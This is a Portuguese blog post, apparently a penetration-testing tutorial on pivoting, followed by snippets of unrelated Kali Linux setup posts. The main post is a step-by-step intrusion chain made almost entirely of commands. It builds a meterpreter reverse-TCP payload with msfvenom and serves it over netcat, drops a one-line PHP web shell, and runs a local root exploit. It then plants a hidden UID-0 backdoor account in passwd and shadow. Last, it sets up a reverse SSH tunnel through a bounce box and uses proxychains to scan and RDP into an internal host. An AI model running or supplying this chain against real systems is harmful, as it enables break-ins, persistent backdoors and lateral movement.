Pular para o conteúdo principal

Pivoting PART 2: Advanced: Penetration Testing + Reverse SSH Tunnel + RDP

Exemplo de conseguir um shell em um servidor vulneravel
Exploiting CVE-2015-8562 (A New Joomla! RCE)
http://resources.infosecinstitute.com/exploiting-cve-2015-8562-new-joomla-rce-2/

Criando uma exploit com o msfvenom
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP_EXTERNO LPORT=7000 -f elf > linuxexploit

Enviando o exploit com o netcat
$ nc -lvp 7000 < linuxexploit

Recebendo o exploit no servidor com um shell php
Navegador: http://servidor.vuneravel.com/shell.php?cmd=nc SEU_IP_EXTERNO 8000 > exploit
source da shell.php : < ?php system($_GET['cmd']); ?>

Local Root Exploit
Ubuntu 12.04.5 LTS
Link: https://www.exploit-db.com/exploits/37292/

Upando exploitroot.c para o servidor com o meterpreter
meterpreter> upload exploitroot.c
Obs: o exploitroot.c esta na pasta home, se você tiver colocado em outro diretoria digite o caminho completo

Compilando e executando o exploitroot no servidor
use shell
$ gcc exploitroot.c -o exploitroot
$ ./exploitroot

Criando um usuario no servidor
use shell
Fazendo backup dos aquivos
# cp passwd passwd.bkp
# cp shadow shadow.bkp   
# cp group group.bkp

Criando uma conta
# echo "rita:x:0:0:root:/:/bin/bash" >> passwd
# echo "rita:E9lQChXRn9sc:16781::::::" >> shadow
# echo "rita:x:102:" >> group

Adicioando uma senha para o novo usuario
# passwd rita

Logando no ssh com o novo usuário
$ ssh username@enderecoIPservidor
-p para outras porta configurado no ssh use sem para porta padrão

Criando chaves ssh
ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key
ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key

Chave de autenticação
ssh-keygen -t rsa , adiocione uma palavra pass

Enviando a chave para um host remoto
scp id_rsa.pub <user>@<yourhost>:.ssh/authorized_keys

Iniciando o Túnel Reverso
# ssh -N -R 2222:localhost:22 username@bouncebox -f
Em bouncebox, Lembre-se de corrigir para o endereço de ip correto e usuario  e senha também
feche a conexao ssh

Estabelecer conexões com o Túnel SSH reverso para localhost do servidor
$ ssh -L 31337:localhost:2222 username@bouncebox
-L encaminha uma porta no seu pc

$ ssh -D 1080 bob@localhost -p 31337
-D encaminha uma porta no seu pc para uso com proxychains

Usando ProxyChains + nmap + rdesktop
Edite /etc/proxychains.conf
edite a ultima linha enserindo a porta 1080

proxychains nmap -Pn -sT 192.168.2.72 -p 445,3389

proxychains rdesktop 192.168.2.72

Game Over

Video:

Comentários

Postagens mais visitadas deste blog

pós-Instalação kali Linux - Instalando ARCH THEME

Olá Pessoal Eu estou fazendo uma serie de videos sobre pós-Instalação do kali Linux Voces iram acompanha os meus passo do que eu faço com uma nova instalação Video 2 - Instalando ARCH THEME   Comando $ echo 'deb http://download.opensuse.org/repositories/home:/Horst3180/Debian_8.0/ /' >> /etc/apt/sources.list.d/arc-theme.list $ wget http://download.opensuse.org/repositories/home:Horst3180/Debian_8.0/Release.key $ apt-key add - < Release.key $ apt-get update $ apt-get install arc-theme Fonte: https://software.opensuse.org/download.html?project=home%3AHorst3180&package=arc-theme

pós-Instalação kali Linux - apt-get update && apt-get upgrade

Olá Pessoal Eu estou fazendo uma serie de videos sobre pós-Instalação do kali Linux Voces iram acompanha os meus passo do que eu faço com uma nova instalação Video 1 - Atualização do sistema, segui o video abaixo: Informações extras gedit é o editor oficial de texto plano para o GNOME. Ele assemelha-se, a princípio, com o bloco de notas do Windows, mas observando os detalhes pode-se notar que possui mais recursos. Como por exemplo: Numeração de linhas. Fonte : https://pt.wikipedia.org/wiki/Gedit source.list : Um arquivo muito importante para o sistema APT de Debian é /etc/apt/sources.list. Neste arquivo são indicadas as fontes de onde serão obtidos os pacotes de software a serem instalados no sistema. Fonte : http://www.tutoriaisti.com.br/sistemas-operacionais/linux/debian-arquivos-sources-list/ source.list Kali Linux http://docs.kali.org/general-use/kali-linux-sources-list-repositories apt-get update - Atualiza a lista de pacotes e programas que podem ser insta...

pós-Instalação kali Linux - VLC error - Adobe FlashPlayer

Olá Pessoal Eu estou fazendo uma serie de videos sobre pós-Instalação do kali Linux Voces iram acompanha os meus passo do que eu faço com uma nova instalação Video 4 - Corrigindo error VLC + Instalndo AdobeFlashPlayer Comando para o corrigir o VLC $ sed -i 's/geteuid/getppid/' /usr/bin/vlc Comando para AdobeFlashPlayer $ tar -xf flash_player_npapi_linux.x86_64.tar.gz $ ls $  mv  LGPL /usr/lib/mozilla/plugins/ $  mv  libflashplayer.so /usr/lib/mozilla/plugins/ $  mv  usr /usr/lib/mozilla/plugins/ $  ls /usr/lib/mozilla/plugins/ Reiniciar o navegador e Pronto